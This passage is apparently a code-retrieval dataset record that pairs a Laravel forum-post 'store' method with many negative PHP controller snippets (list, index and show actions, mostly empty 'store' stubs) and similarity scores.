->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $validator = Validator::make(request()->all(), [ 'title' => 'required|min:5', 'body' => 'required|min:10', 'category' => 'required', ]); try { $user = auth()->userOrFail(); } catch (\Tymon\JWTAuth\Exceptions\UserNotDefinedException $e) { return response()->json(['message' => 'Not authorized']); } if ($validator->fails()) { return response()->json($validator->messages()); } $user = auth()->user(); $user->forums()->create([ 'title' => request('title'), 'body' => request('body'), 'category' => request('category') ]); return response()->json(['message' => 'Successfully posted']); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function 